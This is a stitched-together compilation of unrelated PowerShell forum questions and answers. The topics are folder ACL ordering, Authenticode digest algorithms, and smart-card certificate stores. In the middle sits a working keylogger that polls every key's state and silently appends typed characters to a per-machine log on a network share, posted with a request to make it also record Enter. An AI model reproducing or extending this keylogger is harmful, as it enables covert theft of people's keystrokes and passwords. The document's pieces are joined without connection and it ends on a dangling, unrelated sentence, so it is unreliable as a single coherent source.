I am trying to set permissions to a folder via Powershell Following is the code:
$acl = Get-Acl $folderPath
$acl.SetAccessRuleProtection($True, $True)
$ruleOwner = New-Object System.Security.AccessControl.FileSystemAccessRule($group,"Modify", "ContainerInherit, ObjectInherit", "None", "Allow")
$acl.AddAccessRule($ruleOwner)
Set-Acl $folderPath $acl
Once I ran this code and try to open the Security tab of the concerned folder, I am getting the error message:
The permissions on [folder name] are incorrectly ordered, which may cause some entries to be ineffective.
What is the correct way to set permission on a folder to a specific group?
Access rules (ACEs) need to be ordered in a certain way inside an ACL.
Basically, the order is
All explicit ACEs are placed in a group before any inherited ACEs.
Within the group of explicit ACEs, access-denied ACEs are placed before access-allowed ACEs.
Inherited ACEs are placed in the order in which they are inherited. ACEs inherited from the child object's parent come first, then ACEs inherited from the grandparent, and so on up the tree of objects.
For each level of inherited ACEs, access-denied ACEs are placed before access-allowed ACEs.
If this order somehow gets mixed-up, you will see the "Permissions incorrectly ordered" error message.
To rearrange the order of the permissions, you could use the below function:
function Repair-DirectoryPermissions {
[CmdletBinding()]
param (
[Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)]
[ValidateScript({Test-Path $_ -PathType Container})]
[string]$Path
)
$acl = Get-Acl -Path $Path
# create a new empty ACL object
$newAcl = New-Object System.Security.AccessControl.DirectorySecurity
# copy the access rules from the existing ACL to the new one in the correct order
# first the explicit DENY rules
$acl.Access | Where-Object { !$_.IsInherited -and $_.AccessControlType -eq 'Deny' } | ForEach-Object {
$newAcl.AddAccessRule($_)
}
# next the explicit ALLOW rules
$acl.Access | Where-Object { !$_.IsInherited -and $_.AccessControlType -eq 'Allow' } | ForEach-Object {
$newAcl.AddAccessRule($_)
}
# finally the inherited rules
$acl.Access | Where-Object { $_.IsInherited } | ForEach-Object {
$newAcl.AddAccessRule($_)
}
# set the the reordered ACL to the directory object
Set-Acl -Path $Path -AclObject $newAcl
}
And use it like:
Repair-DirectoryPermissions -Path 'D:\Blah'
While doing this, you may get an exception telling you that you need the SeSecurityPrivilege permission to perform this action.
To get that, add another function on top of the script:
function Enable-Privilege {
[CmdletBinding(ConfirmImpact = 'low', SupportsShouldProcess = $false)]
[OutputType('System.Boolean')]
Param(
[Parameter(Mandatory = $true, Position = 0)]
[ValidateSet(
"SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege",
"SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege",
"SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeEnableDelegationPrivilege",
"SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", "SeIncreaseQuotaPrivilege",
"SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege",
"SeMachineAccountPrivilege", "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege",
"SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", "SeSecurityPrivilege",
"SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege",
"SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege",
"SeTrustedCredManAccessPrivilege", "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
[String]$Privilege,
[Parameter(Position = 1)]
$ProcessId = $PID,
[switch]$Disable
)
begin {
Add-Type -TypeDefinition #'
using System;
using System.Runtime.InteropServices;
public class Privilege {
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
internal struct TokPriv1Luid {
public int Count;
public long Luid;
public int Attr;
}
internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
internal const int TOKEN_QUERY = 0x00000008;
internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public static bool EnablePrivilege(long processHandle, string privilege, bool disable) {
bool retVal;
TokPriv1Luid tp;
IntPtr hproc = new IntPtr(processHandle);
IntPtr htok = IntPtr.Zero;
retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp.Count = 1;
tp.Luid = 0;
if(disable) { tp.Attr = SE_PRIVILEGE_DISABLED; }
else { tp.Attr = SE_PRIVILEGE_ENABLED; }
retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid);
retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
return retVal;
}
}
'#
}
process {
try {
$proc = Get-Process -Id $ProcessId -ErrorAction Stop
$name = $proc.ProcessName
$handle = $proc.Handle
$action = if ($Disable) { 'Disabling' } else { 'Enabling' }
Write-Verbose ("{0} '{1}' for process {2}" -f $action, $Privilege, $name)
[Privilege]::EnablePrivilege($handle, $Privilege, [bool]$Disable)
}
catch {
throw
}
}
}
and call both functions:
Enable-Privilege -Privilege SeSecurityPrivilege
Repair-DirectoryPermissions -Path 'D:\Blah'
I have a dll file which is digitally signed. I need to write a PowerShell command which would get me the Digest Algorithm that are used for the Digital Signature.
The Dll I have has both SHA1 and SHA256 and I need both values.
I tried the below solution but it gives SHA1 only
How to extract digest algorithm from signed dll using PowerShell?
command :
Get-AuthenticodeSignature $file.Filename |
%{ $_.SignerCertificate.SignatureAlgorithm.friendlyname }
There is a potential starting point in the following comprehensive article: Reading multiple signatures from signed file with PowerShell.
Get-AuthenticodeSignature cmdlet has the following limitations:
Only first signature is fetched;
If the signature is timestamped, no signing time is provided;
No signature algorithm information is provided.
… Technically speaking, Microsoft authenticode signature supports
only one signature at a time. Additional signatures are done as nested
signatures.
They wrote an extended version of Get-AuthenticodeSignature cmdlet as a function licensed under Attribution-ShareAlike 4.0 International license. Unfortunately, the current Get-AuthenticodeSignatureEx function appears insufficient for more than two signatures.
However, there is SignTool.exe. This tool is automatically installed with Visual Studio.
Example (with /v switch: Print verbose success and status messages. This may also provide slightly more information on error. If you want to see information about the signer, you should use this option.)
d:\bat> 2>NUL "c:\Program Files (x86)\Windows Kits\10\App Certification Kit\signtool.exe" verify /pa /all C:\WINDOWS\system32\OpenCL.dll
File: C:\Windows\System32\OpenCL.dll
Index Algorithm Timestamp
========================================
0 sha1 Authenticode
1 sha256 RFC3161
2 sha256 RFC3161
Successfully verified: C:\Windows\System32\OpenCL.dll
For instance, the following .ps1 script could find all files signed more than twice:
$signtool="c:\Program Files (x86)\Windows Kits\10\bin\10.0.17763.0\x64\signtool.exe"
Get-ChildItem -File |
ForEach-Object {
$aux = . "$signtool" verify /pa /all $_.FullName 2>$null
if ( $aux -match "^2|^3|^4|^5|^6|^7|^8|^9" ) {
$aux
}
}
(currently used Get-ChildItem C:\Windows\System32\nvh*.dll to limit run time as well as output size):
D:\PShell\tests\AuthenticodeSignTool.ps1
File: C:\Windows\System32\nvhdagenco6420103.dll
Index Algorithm Timestamp
========================================
0 sha1 Authenticode
1 sha256 RFC3161
2 sha256 RFC3161
3 sha256 RFC3161
Successfully verified: C:\Windows\System32\nvhdagenco6420103.dll
File: C:\Windows\System32\nvhdap64.dll
Index Algorithm Timestamp
========================================
0 sha1 Authenticode
1 sha256 RFC3161
2 sha256 RFC3161
3 sha256 RFC3161
Successfully verified: C:\Windows\System32\nvhdap64.dll
After some searching around, I found this blog by Vadims Podāns with a function called Get-AuthenticodeSignatureEx that indeed gets both the primary and the secondary (nested) certificate signatures if the file has this.
I have added a little to that code to parse the friendly name out of the X500DistinghuishedName of the issuer and to ensure the nested signature also has a SigningTime timestamp.
The function:
function Get-AuthenticodeSignatureEx {
[CmdletBinding()]
param(
[Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)]
[String[]]$FilePath
)
begin {
$signature = #"
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CryptQueryObject(
int dwObjectType,
[MarshalAs(UnmanagedType.LPWStr)]
string pvObject,
int dwExpectedContentTypeFlags,
int dwExpectedFormatTypeFlags,
int dwFlags,
ref int pdwMsgAndCertEncodingType,
ref int pdwContentType,
ref int pdwFormatType,
ref IntPtr phCertStore,
ref IntPtr phMsg,
ref IntPtr ppvContext
);
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CryptMsgGetParam(
IntPtr hCryptMsg,
int dwParamType,
int dwIndex,
byte[] pvData,
ref int pcbData
);
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CryptMsgClose(
IntPtr hCryptMsg
);
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CertCloseStore(
IntPtr hCertStore,
int dwFlags
);
"#
Add-Type -AssemblyName System.Security
Add-Type -MemberDefinition $signature -Namespace PKI -Name Crypt32
$CERT_QUERY_OBJECT_FILE = 0x1
$CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED = 0x400
$CERT_QUERY_FORMAT_FLAG_BINARY = 0x2
function getTimeStamps($SignerInfo) {
$retValue = #()
foreach ($CounterSignerInfos in $Infos.CounterSignerInfos) {
$sTime = ($CounterSignerInfos.SignedAttributes |
Where-Object{$_.Oid.Value -eq "1.2.840.113549.1.9.5"}).Values |
Where-Object {$_.SigningTime -ne $null}
$tsObject = New-Object psobject -Property #{
Certificate = $CounterSignerInfos.Certificate
SigningTime = $sTime.SigningTime.ToLocalTime()
}
$retValue += $tsObject
}
$retValue
}
function getIssuerName($SignerInfo) {
# helper function to parse the name out of the X500DistinghuishedName formatted 'Issuer' string
if ($SignerInfo.Certificate.Issuer -match 'O=([^,]+)') { $matches[1] }
elseif ($SignerInfo.Certificate.Issuer -match 'CN=([^,]+)') { $matches[1] }
else { $SignerInfo.Certificate.Issuer }
}
}
process {
Get-AuthenticodeSignature -FilePath $FilePath | ForEach-Object {
$Output = $_
if ($Output.SignerCertificate) {
$pdwMsgAndCertEncodingType = 0
$pdwContentType = 0
$pdwFormatType = 0
[IntPtr]$phCertStore = [IntPtr]::Zero
[IntPtr]$phMsg = [IntPtr]::Zero
[IntPtr]$ppvContext = [IntPtr]::Zero
$return = [PKI.Crypt32]::CryptQueryObject(
$CERT_QUERY_OBJECT_FILE,
$Output.Path,
$CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
$CERT_QUERY_FORMAT_FLAG_BINARY,
0,
[ref]$pdwMsgAndCertEncodingType,
[ref]$pdwContentType,
[ref]$pdwFormatType,
[ref]$phCertStore,
[ref]$phMsg,
[ref]$ppvContext
)
if (!$return) {return}
$pcbData = 0
$return = [PKI.Crypt32]::CryptMsgGetParam($phMsg,29,0,$null,[ref]$pcbData)
if (!$return) {return}
$pvData = New-Object byte[] -ArgumentList $pcbData
$return = [PKI.Crypt32]::CryptMsgGetParam($phMsg,29,0,$pvData,[ref]$pcbData)
$SignedCms = New-Object Security.Cryptography.Pkcs.SignedCms
$SignedCms.Decode($pvData)
$Infos = $SignedCms.SignerInfos[0]
$Output | Add-Member -MemberType NoteProperty -Name IssuerName -Value (getIssuerName $Infos)
$Output | Add-Member -MemberType NoteProperty -Name DigestAlgorithm -Value $Infos.DigestAlgorithm.FriendlyName
$Output | Add-Member -MemberType NoteProperty -Name TimeStamps -Value (getTimeStamps $Infos)
$second = $Infos.UnsignedAttributes | ?{$_.Oid.Value -eq "1.3.6.1.4.1.311.2.4.1"}
if ($second) {
$value = $second.Values | ?{$_.Oid.Value -eq "1.3.6.1.4.1.311.2.4.1"}
$SignedCms2 = New-Object Security.Cryptography.Pkcs.SignedCms
$SignedCms2.Decode($value.RawData)
$Output | Add-Member -MemberType NoteProperty -Name NestedSignature -Value $null
$Infos = $SignedCms2.SignerInfos[0]
$nested = New-Object psobject -Property #{
SignerCertificate = $Infos.Certificate
IssuerName = getIssuerName $Infos
DigestAlgorithm = $Infos.DigestAlgorithm.FriendlyName
TimeStamps = getTimeStamps $Infos
}
# the nested certificate usually does not have a this, so use from the primary certificate
if (!$nested.TimeStamps) { $nested.TimeStamps = $Output.Timestamps }
$Output.NestedSignature = $nested
}
$Output
[void][PKI.Crypt32]::CryptMsgClose($phMsg)
[void][PKI.Crypt32]::CertCloseStore($phCertStore,0)
}
else {
$Output
}
}
}
end {}
}
With that function in place, you can use it like this:
$sig = Get-AuthenticodeSignatureEx "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll"
$result = #($sig | Select-Object IssuerName, DigestAlgorithm, #{Name = 'TimeStamp'; Expression = {$_.TimeStamps.SigningTime}})
if ($sig.NestedSignature) {
$result += $sig.NestedSignature | Select-Object IssuerName, DigestAlgorithm, #{Name = 'TimeStamp'; Expression = {$_.TimeStamps.SigningTime}}
}
$result
Output on my machine:
IssuerName DigestAlgorithm TimeStamp
---------- --------------- ---------
Microsoft Corporation sha1 25-7-2019 4:18:14
Microsoft Corporation sha256 25-7-2019 4:18:14
Can any one help me make this key logger recognize someone pressing the (ENTER) key?
Her is the code
function KeyLog {
$virtualkc_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'#
$kbstate_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'#
$mapchar_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'#
$tounicode_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[]lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'#
$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
while ($true) {
Start-Sleep -Milliseconds 40
$gotit = ""
for ($char = 1; $char -le 254; $char++) {
$vkey = $char
$gotit = $getKeyState::GetAsyncKeyState($vkey)
if ($gotit -eq -32767) {
$l_shift = $getKeyState::GetAsyncKeyState(160)
$r_shift = $getKeyState::GetAsyncKeyState(161)
$caps_lock = [console]::CapsLock
$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)
$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
if ($unicode_res -gt 0) {
$logfile = "W:\1B_Classwork\Logs\$env:computername.log"
Out-File -FilePath $logfile -Encoding Unicode -Append -NoNewline -InputObject $mychar.ToString()
}
}
}
}
}
KeyLog
I am trying to create a script to remove all but the newest certificate from any given smart card (in the SC Reader at the time). This is something that I intend to be able to distribute to end users, so it should be self sufficient. My first issue is reading the certificates on the card. I do not want to affect any certificates not on the smart card, so I looked for solution that directly read from the card, and I found this gem:
How to enumerate all certificates on a smart card (PowerShell)
It's old, but it looks like it should do what I need. It really does seem to work in general but PowerShell ISE crashes when I get to the line:
$store = new-object System.Security.Cryptography.X509Certificates.X509Store($hwStore)
I can create a generic store which defaults to the 'My' store by excluding the ($hwStore) from that line without issues, but specifying that store reliably crashes my PowerShell ISE.
Here is the function from that site, the line I have issue with is near the bottom.
function Get-SCUserStore {
[string]$providerName ="Microsoft Base Smart Card Crypto Provider"
# import CrytoAPI from advapi32.dll
$signature = #"
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetProvParam(
IntPtr hProv,
uint dwParam,
byte[] pbProvData,
ref uint pdwProvDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptDestroyKey(
IntPtr hKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptAcquireContext(
ref IntPtr hProv,
string pszContainer,
string pszProvider,
uint dwProvType,
long dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetUserKey(
IntPtr hProv,
uint dwKeySpec,
ref IntPtr phUserKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetKeyParam(
IntPtr hKey,
uint dwParam,
byte[] pbData,
ref uint pdwDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptReleaseContext(
IntPtr hProv,
uint dwFlags);
"#
$CryptoAPI = Add-Type -member $signature -name advapiUtils -Namespace CryptoAPI -passthru
# set some constants for CryptoAPI
$AT_KEYEXCHANGE = 1
$AT_SIGNATURE = 2
$PROV_RSA_FULL = 1
$KP_CERTIFICATE = 26
$PP_ENUMCONTAINERS = 2
$PP_CONTAINER = 6
$PP_USER_CERTSTORE = 42
$CRYPT_FIRST = 1
$CRYPT_NEXT = 2
$CRYPT_VERIFYCONTEXT = 0xF0000000
[System.IntPtr]$hProvParent=0
$contextRet = $CryptoAPI::CryptAcquireContext([ref]$hprovParent,$null,$providerName,$PROV_RSA_FULL,$CRYPT_VERIFYCONTEXT)
[Uint32]$pdwProvDataLen = 0
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$ProvData,[ref]$pdwProvDataLen,0)
}
$enc = new-object System.Text.UTF8Encoding($null)
$keyContainer = $enc.GetString($ProvData)
write-host " The Default User Key Container:" $keyContainer
[Uint32]$pdwProvDataLen = 0
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$ProvData,[ref]$pdwProvDataLen,0)
[uint32]$provdataInt = [System.BitConverter]::ToUInt32($provdata,0)
[System.IntPtr]$hwStore = $provdataInt
}
$store = new-object System.Security.Cryptography.X509Certificates.X509Store($hwStore)
# release smart card
$ReleaseContextRet = $CryptoAPI::CryptReleaseContext($hprovParent,0)
return $store
}
I don't have any experience with P/Invoke (I think I said that right), so I am unsure how to troubleshoot commands derived from things imported that way.
Edit: The providers that are listed by certutil -scinfo -silent are:
Microsoft Base Smart Card Crypto Provider
Microsoft Smart Card Key Storage Provider
I have tried both of those in the below script with the same end result. The second of which gives me � characters when the script tells me what my default user key container is, so I have a feeling that it is not correct.
I did also try the x86 version of PowerShell, as suggested by Vesper. The application does not crash, and it does return a valid store with my smart card's certificate(s) on it. Now the issue is that I can't send that out to users, because expecting them to be able to navigate to the x86 version of PowerShell and then run a script with it is like expecting my dog to make me waffles... I suppose it could happen, but more likely than not something will go wrong and I'll end up having to do it myself anyway.
Edit2: Ok, so I guess I'll force that part of the script to run in x86 mode. I will post an answer with my updated code and accept it. If #Vesper posts an answer about the 64/32 bit thing (hopefully with a hair more info) I will accept his answer so that he gets credit since his comment is what lead me to the solution.
So, the main problem is actually that you're linking an x86 DLL into a x64 Powershell process. You can check whether your Powershell process is x64 like here (by querying (Get-Process -Id $PID).StartInfo.EnvironmentVariables["PROCESSOR_ARCHITECTURE"]), and if an x64 Powershell detected, start manually a Powershell (x86) located at $env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe with the same script. To get the full name of the script, use $MyInvocation.MyCommand.Definition. If Powershell is detected as x86, you proceed with importing the type and run the enumeration. An example:
$Arch = (Get-Process -Id $PID).StartInfo.EnvironmentVariables["PROCESSOR_ARCHITECTURE"];
$Arch
if ($arch -eq "AMD64") {
$here=$myinvocation.mycommand.definition
"$here launched as $arch!"
start-process C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoNewWindow -ArgumentList $here -wait
return
}
"now running under x86"
So my solution was to check if the powershell session is running in 32 or 64 bit mode, and if it is running in 64 bit mode (most likely) then it will run the original script as a job using the -RunAs32 argument switch. If it's already running in 32 bit mode it will simply invoke the scriptblock in the current session. Final script to get certificates off a smart card (as an x509 Certificate Store) ended up being:
$RunAs32Bit = {
[string]$providerName ="Microsoft Base Smart Card Crypto Provider"
# import CrytoAPI from advapi32.dll
$signature = #"
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetProvParam(
IntPtr hProv,
uint dwParam,
byte[] pbProvData,
ref uint pdwProvDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptDestroyKey(
IntPtr hKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptAcquireContext(
ref IntPtr hProv,
string pszContainer,
string pszProvider,
uint dwProvType,
long dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetUserKey(
IntPtr hProv,
uint dwKeySpec,
ref IntPtr phUserKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetKeyParam(
IntPtr hKey,
uint dwParam,
byte[] pbData,
ref uint pdwDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptReleaseContext(
IntPtr hProv,
uint dwFlags);
"#
$CryptoAPI = Add-Type -member $signature -name advapiUtils -Namespace CryptoAPI -passthru
# set some constants for CryptoAPI
$AT_KEYEXCHANGE = 1
$AT_SIGNATURE = 2
$PROV_RSA_FULL = 1
$KP_CERTIFICATE = 26
$PP_ENUMCONTAINERS = 2
$PP_CONTAINER = 6
$PP_USER_CERTSTORE = 42
$CRYPT_FIRST = 1
$CRYPT_NEXT = 2
$CRYPT_VERIFYCONTEXT = 0xF0000000
[System.IntPtr]$hProvParent=0
$contextRet = $CryptoAPI::CryptAcquireContext([ref]$hprovParent,$null,$providerName,$PROV_RSA_FULL,$CRYPT_VERIFYCONTEXT)
[Uint32]$pdwProvDataLen = 0
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$ProvData,[ref]$pdwProvDataLen,0)
}
$enc = new-object System.Text.UTF8Encoding($null)
$keyContainer = $enc.GetString($ProvData)
write-host " The Default User Key Container:" $keyContainer
[Uint32]$pdwProvDataLen = 0
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$ProvData,[ref]$pdwProvDataLen,0)
[uint32]$provdataInt = [System.BitConverter]::ToUInt32($provdata,0)
[System.IntPtr]$hwStore = $provdataInt
}
$store = new-object System.Security.Cryptography.X509Certificates.X509Store($hwStore)
# release smart card
$ReleaseContextRet = $CryptoAPI::CryptReleaseContext($hprovParent,0)
return $store
}
#Run the code in 32bit mode if PowerShell isn't already running in 32bit mode
If($env:PROCESSOR_ARCHITECTURE -ne "x86"){
Write-Warning "Non-32bit architecture detected, collecting certificate information in separate 32bit process."
$Job = Start-Job $RunAs32Bit -RunAs32
$SCStore = $Job | Wait-Job | Receive-Job
}Else{
$SCStore = $RunAs32Bit.Invoke()
}
I have been attempting to solve this same problem, and have come up with the following code. This is exactly what you have, with a couple of additions to deal with the 64-bit environment. This should do what you want without re-launching PowerShell as a 32-bit process.
function Get-SCUserStore {
[CmdletBinding()]
param(
[string]$providerName ="Microsoft Base Smart Card Crypto Provider"
)
# import CrytoAPI from advapi32.dll
$signature = #"
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetProvParam(
IntPtr hProv,
uint dwParam,
byte[] pbProvData,
ref uint pdwProvDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptDestroyKey(
IntPtr hKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptAcquireContext(
ref IntPtr hProv,
string pszContainer,
string pszProvider,
uint dwProvType,
long dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetUserKey(
IntPtr hProv,
uint dwKeySpec,
ref IntPtr phUserKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetKeyParam(
IntPtr hKey,
uint dwParam,
byte[] pbData,
ref uint pdwDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptReleaseContext(
IntPtr hProv,
uint dwFlags);
"#
$CryptoAPI = Add-Type -member $signature -name advapiUtils -Namespace CryptoAPI -passthru
# set some constants for CryptoAPI
$AT_KEYEXCHANGE = 1
$AT_SIGNATURE = 2
$PROV_RSA_FULL = 1
$KP_CERTIFICATE = 26
$PP_ENUMCONTAINERS = 2
$PP_CONTAINER = 6
$PP_USER_CERTSTORE = 42
$CRYPT_FIRST = 1
$CRYPT_NEXT = 2
$CRYPT_VERIFYCONTEXT = 0xF0000000
[System.IntPtr]$hProvParent=0
if([Environment]::Is64BitProcess) {
[Uint64]$pdwProvDataLen = 0
} else {
[Uint32]$pdwProvDataLen = 0
}
$contextRet = $CryptoAPI::CryptAcquireContext([ref]$hprovParent,$null,$providerName,$PROV_RSA_FULL,$CRYPT_VERIFYCONTEXT)
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$ProvData,[ref]$pdwProvDataLen,0)
}
$enc = new-object System.Text.UTF8Encoding($null)
$keyContainer = $enc.GetString($ProvData)
Write-Verbose ("The Default User Key Container:{0}" -f $keyContainer)
if([Environment]::Is64BitProcess) {
[Uint64]$pdwProvDataLen = 0
} else {
[Uint32]$pdwProvDataLen = 0
}
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$ProvData,[ref]$pdwProvDataLen,0)
if([Environment]::Is64BitProcess) {
[UInt64]$provdataInt = [System.BitConverter]::ToUInt64($provdata,0)
[System.IntPtr]$hwStore = [Long]$provdataInt
} else {
[UInt32]$provdataInt = [System.BitConverter]::ToUInt32($provdata,0)
[System.IntPtr]$hwStore = $provdataInt
}
}
$store = new-object System.Security.Cryptography.X509Certificates.X509Store($hwStore)
# release smart card
$ReleaseContextRet = $CryptoAPI::CryptReleaseContext($hprovParent,0)
return $store
}
write-host ((get-WmiObject win32_PnPSignedDriver|where{$_.deviceID -like "*smartcard*"}).devicename) "reports the following certificates;"
# returns System.Security.Cryptography.X509Certificates.X509Store object representing PP_USER_CERTSTORE on Smart Card
$SCcertStore = Get-SCuserSTore
# enumerate certificates
$SCcertStore.certificates
A complete example to convert mstest coverage file into an xml file is provided below.
